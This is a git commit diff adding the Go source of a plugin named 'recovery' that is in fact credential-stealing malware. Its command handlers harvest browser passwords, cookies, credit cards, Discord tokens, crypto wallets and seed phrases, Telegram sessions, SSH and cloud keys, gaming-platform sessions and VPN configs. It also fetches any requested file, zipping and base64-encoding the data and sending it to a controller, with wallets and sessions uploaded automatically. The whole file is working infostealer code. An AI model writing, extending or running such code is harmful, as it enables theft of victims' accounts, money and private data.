initial commit
This commit is contained in:
@@ -0,0 +1,588 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"recovery/recovery"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// collectDeadline bounds an entire collection run. A single stuck browser
|
||||
// (NSS/COM/pipe stall) must never wedge the agent for more than this.
|
||||
const collectDeadline = 90 * time.Second
|
||||
|
||||
type HostInfo struct {
|
||||
ClientID string `json:"clientId"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
var (
|
||||
hostInfo HostInfo
|
||||
sendFn func(event string, payload []byte)
|
||||
mu sync.Mutex
|
||||
collecting atomic.Bool
|
||||
)
|
||||
|
||||
func setSend(fn func(event string, payload []byte)) {
|
||||
mu.Lock()
|
||||
sendFn = fn
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
func sendEvent(event string, payload interface{}) {
|
||||
mu.Lock()
|
||||
fn := sendFn
|
||||
mu.Unlock()
|
||||
if fn == nil {
|
||||
return
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] marshal error: %v", err)
|
||||
return
|
||||
}
|
||||
fn(event, data)
|
||||
}
|
||||
|
||||
func handleInit(hostJSON []byte) error {
|
||||
if err := json.Unmarshal(hostJSON, &hostInfo); err != nil {
|
||||
return err
|
||||
}
|
||||
log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch)
|
||||
sendEvent("ready", map[string]string{"status": "recovery plugin ready"})
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleEvent(event string, payload []byte) error {
|
||||
switch event {
|
||||
case "collect":
|
||||
go handleCollect(payload)
|
||||
case "scan_files":
|
||||
go handleScanFiles()
|
||||
case "scan_extensions":
|
||||
go handleScanExtensions()
|
||||
case "fetch_file":
|
||||
go handleFetchFile(payload)
|
||||
case "fetch_ext_zip":
|
||||
go handleFetchExtZip(payload)
|
||||
case "scan_wallets":
|
||||
go handleScanWallets()
|
||||
case "fetch_wallet_zip":
|
||||
go handleFetchWalletZip(payload)
|
||||
case "scan_telegram":
|
||||
go handleScanTelegram()
|
||||
case "fetch_telegram_zip":
|
||||
go handleFetchTelegramZip(payload)
|
||||
case "scan_keys":
|
||||
go handleScanKeys()
|
||||
case "scan_apps":
|
||||
go handleScanApps()
|
||||
case "scan_gaming":
|
||||
go handleScanGaming()
|
||||
case "scan_vpn":
|
||||
go handleScanVPN()
|
||||
case "fingerprint":
|
||||
go handleFingerprint()
|
||||
case "fingerprint_js":
|
||||
go handleFingerprintJS()
|
||||
case "ping":
|
||||
sendEvent("pong", nil)
|
||||
default:
|
||||
log.Printf("[recovery] unhandled event: %s", event)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleCollect(payload []byte) {
|
||||
if !collecting.CompareAndSwap(false, true) {
|
||||
log.Printf("[recovery] collection already in progress, ignoring duplicate request")
|
||||
return
|
||||
}
|
||||
defer collecting.Store(false)
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] collection panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "internal collection error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var opts recovery.CollectOptions
|
||||
if len(payload) > 0 {
|
||||
json.Unmarshal(payload, &opts)
|
||||
} else {
|
||||
opts.Browsers = true
|
||||
}
|
||||
|
||||
if opts.Browsers {
|
||||
noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill &&
|
||||
!opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord
|
||||
if noneSet {
|
||||
opts.Passwords = true
|
||||
opts.Cookies = true
|
||||
opts.Autofill = true
|
||||
opts.History = true
|
||||
opts.Bookmarks = true
|
||||
opts.CreditCards = true
|
||||
opts.Discord = true
|
||||
opts.Files = true
|
||||
opts.Wallets = true
|
||||
opts.Telegram = true
|
||||
opts.Keys = true
|
||||
opts.Apps = true
|
||||
opts.Gaming = true
|
||||
opts.VPNs = true
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)",
|
||||
opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord)
|
||||
sendEvent("status", map[string]string{"message": "Resolving encryption keys..."})
|
||||
|
||||
var extensions []recovery.ExtensionResult
|
||||
var extWg sync.WaitGroup
|
||||
if opts.Browsers {
|
||||
extWg.Add(1)
|
||||
go func() {
|
||||
defer extWg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] extension scan panic: %v", r)
|
||||
}
|
||||
}()
|
||||
extensions = recovery.ScanExtensions()
|
||||
}()
|
||||
}
|
||||
|
||||
partialFn := func(partial *recovery.CollectionResult) {
|
||||
sendEvent("partial", partial)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), collectDeadline)
|
||||
defer cancel()
|
||||
|
||||
result, err := recovery.Collect(ctx, opts, partialFn)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] collection failed: %v", err)
|
||||
sendEvent("error", map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if opts.Browsers {
|
||||
extWg.Wait()
|
||||
result.Extensions = extensions
|
||||
}
|
||||
|
||||
log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds",
|
||||
len(result.Passwords), len(result.Cookies), len(result.Autofill),
|
||||
len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials))
|
||||
|
||||
sendEvent("results", result)
|
||||
|
||||
if len(result.Wallets) > 0 {
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] wallet auto-download panic: %v", r)
|
||||
}
|
||||
}()
|
||||
autoDownloadWallets(result.Wallets)
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] seed scan panic: %v", r)
|
||||
}
|
||||
}()
|
||||
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
|
||||
if len(seeds) > 0 {
|
||||
log.Printf("[recovery] seed scan found %d seed phrases", len(seeds))
|
||||
sendEvent("seed_scan_results", map[string]interface{}{
|
||||
"seeds": seeds,
|
||||
})
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func handleScanExtensions() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] extension scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "extension scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning extensions..."})
|
||||
exts := recovery.ScanExtensions()
|
||||
log.Printf("[recovery] extension scan complete: %d extensions", len(exts))
|
||||
sendEvent("extension_scan_results", map[string]interface{}{
|
||||
"extensions": exts,
|
||||
})
|
||||
}
|
||||
|
||||
func handleFetchExtZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_ext_zip panic: %v", r)
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
ExtID string `json:"extId"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipDirectory(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err)
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data))
|
||||
sendEvent("fetch_ext_zip_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"extId": req.ExtID,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB
|
||||
|
||||
func handleScanWallets() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] wallet scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "wallet scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning wallets..."})
|
||||
wallets := recovery.ScanWallets()
|
||||
log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets))
|
||||
sendEvent("wallet_scan_results", map[string]interface{}{
|
||||
"wallets": wallets,
|
||||
})
|
||||
autoDownloadWallets(wallets)
|
||||
}
|
||||
|
||||
func autoDownloadWallets(wallets []recovery.WalletResult) {
|
||||
for _, w := range wallets {
|
||||
if w.Size > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipDirectory(w.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] auto-download zip %q: %v", w.Name, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data))
|
||||
sendEvent("wallet_auto_data", map[string]interface{}{
|
||||
"name": w.Name,
|
||||
"type": w.Type,
|
||||
"path": w.Path,
|
||||
"addresses": w.Addresses,
|
||||
"vaultData": w.VaultData,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleFetchWalletZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_wallet_zip panic: %v", r)
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipDirectory(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err)
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data))
|
||||
sendEvent("fetch_wallet_zip_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"name": req.Name,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanFiles() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] file scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "file scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning files..."})
|
||||
files := recovery.ScanFiles()
|
||||
log.Printf("[recovery] file scan complete: %d files", len(files))
|
||||
sendEvent("file_scan_results", map[string]interface{}{
|
||||
"files": files,
|
||||
"truncated": len(files) >= 500,
|
||||
})
|
||||
}
|
||||
|
||||
func handleFetchFile(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_file panic: %v", r)
|
||||
sendEvent("fetch_file_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_file_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.FetchFile(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_file %q: %v", req.Path, err)
|
||||
sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data))
|
||||
sendEvent("fetch_file_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"name": filepath.Base(req.Path),
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanTelegram() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] telegram scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "telegram scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."})
|
||||
sessions := recovery.ScanTelegram()
|
||||
log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions))
|
||||
sendEvent("telegram_scan_results", map[string]interface{}{
|
||||
"sessions": sessions,
|
||||
})
|
||||
for _, s := range sessions {
|
||||
if s.Size > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipTelegram(s.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] telegram zip %q: %v", s.Account, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data))
|
||||
sendEvent("telegram_data", map[string]interface{}{
|
||||
"account": s.Account,
|
||||
"path": s.Path,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleFetchTelegramZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_telegram_zip panic: %v", r)
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
Account string `json:"account"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipTelegram(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err)
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data))
|
||||
sendEvent("telegram_data", map[string]interface{}{
|
||||
"account": req.Account,
|
||||
"path": req.Path,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanKeys() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] key scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "key scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."})
|
||||
keys := recovery.ScanKeys()
|
||||
log.Printf("[recovery] key scan complete: %d keys", len(keys))
|
||||
sendEvent("key_scan_results", map[string]interface{}{
|
||||
"keys": keys,
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanApps() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] app scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "app credential scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning app credentials..."})
|
||||
apps := recovery.ScanApps()
|
||||
log.Printf("[recovery] app scan complete: %d credentials", len(apps))
|
||||
sendEvent("app_scan_results", map[string]interface{}{
|
||||
"appCredentials": apps,
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanGaming() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] gaming scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "gaming scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."})
|
||||
gaming := recovery.ScanGaming()
|
||||
sendEvent("gaming_scan_results", map[string]interface{}{
|
||||
"gaming": gaming,
|
||||
})
|
||||
if gaming == nil {
|
||||
return
|
||||
}
|
||||
autoDownloadGaming(gaming)
|
||||
}
|
||||
|
||||
func autoDownloadGaming(gaming *recovery.GamingResult) {
|
||||
type zipJob struct {
|
||||
name string
|
||||
fn func() ([]byte, error)
|
||||
}
|
||||
var jobs []zipJob
|
||||
|
||||
if gaming.Steam != nil && gaming.Steam.SteamPath != "" {
|
||||
steamPath := gaming.Steam.SteamPath
|
||||
jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }})
|
||||
}
|
||||
if len(gaming.BattleNet) > 0 {
|
||||
jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet})
|
||||
}
|
||||
if len(gaming.Epic) > 0 {
|
||||
jobs = append(jobs, zipJob{"epic", recovery.ZipEpic})
|
||||
}
|
||||
if len(gaming.Riot) > 0 {
|
||||
jobs = append(jobs, zipJob{"riot", recovery.ZipRiot})
|
||||
}
|
||||
if len(gaming.Uplay) > 0 {
|
||||
jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay})
|
||||
}
|
||||
|
||||
for _, j := range jobs {
|
||||
data, err := j.fn()
|
||||
if err != nil || len(data) == 0 {
|
||||
log.Printf("[recovery] gaming zip %s: %v", j.name, err)
|
||||
continue
|
||||
}
|
||||
if len(data) > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data))
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data))
|
||||
sendEvent("gaming_data", map[string]interface{}{
|
||||
"platform": j.name,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleScanVPN() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] vpn scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "vpn scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."})
|
||||
vpns := recovery.ScanVPNs()
|
||||
sendEvent("vpn_scan_results", map[string]interface{}{
|
||||
"vpns": vpns,
|
||||
})
|
||||
}
|
||||
|
||||
func handleUnload() {
|
||||
log.Printf("[recovery] unloading")
|
||||
}
|
||||
|
||||
func handleFingerprint() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fingerprint panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "fingerprint error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("fingerprint_result", recovery.CollectFingerprint())
|
||||
log.Printf("[recovery] fingerprint collected")
|
||||
}
|
||||
|
||||
func handleFingerprintJS() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fingerprint_js panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "fingerprint_js error"})
|
||||
}
|
||||
}()
|
||||
result := recovery.CollectJSFingerprint()
|
||||
if result == nil {
|
||||
sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"})
|
||||
return
|
||||
}
|
||||
sendEvent("fingerprint_js_result", result)
|
||||
log.Printf("[recovery] JS fingerprint collected")
|
||||
}
|
||||
|
||||
func main() {}
|
||||
Reference in New Issue
Block a user